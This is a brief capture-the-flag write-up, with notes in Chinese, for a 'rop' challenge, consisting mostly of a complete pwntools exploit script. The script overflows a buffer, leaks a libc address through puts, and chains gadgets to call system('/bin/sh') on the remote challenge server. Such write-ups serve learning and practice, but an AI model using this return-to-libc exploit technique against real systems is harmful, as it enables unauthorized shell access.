###### tags: `nactf`
# rop(300)
- 標準roprop,差在要print出伺服器的libc address
- 做法跟leak libc一樣,只是要print出來,ex:print puts_got,再拿值去網站找
```python=
from pwn import *
context.arch = 'amd64'
l = ELF('/home/test/Desktop/libc6_2.32-0ubuntu2_amd64.so')
#y = process("./dro")
y= remote("challenges.ctfd.io",30261)
pop_rdi = 0x401203
ret = 0x40101a
puts_plt = 0x401030
libc_start_main_got = 0x403fe8
puts_got = 0x403fc8
main = 0x401146
p = flat(
'a' * 56,
pop_rdi,
libc_start_main_got,
# puts_got, 找伺服器libc
puts_plt,
main
)
y.sendlineafter('?',p)
y.recvline()
#print(hex(u64(y.recv(6) + '\0\0'))) 找伺服器libc
libc = u64(y.recv(6) + '\0\0') - 0x28bc0
success('libc ->%s' %hex( libc))
#print'libc ->',hex( l.address)
#print '"/bin/sh" str:' ,hex( l.search('/bin/sh').next())
system_off = 0x503c0
system_func_ptr = libc + system_off
bin_sh = libc + 0x1ae41f
p = flat(
'a' * 56,
ret,
pop_rdi,
bin_sh,
system_func_ptr
)
y.sendlineafter('?',p)
y.interactive()
```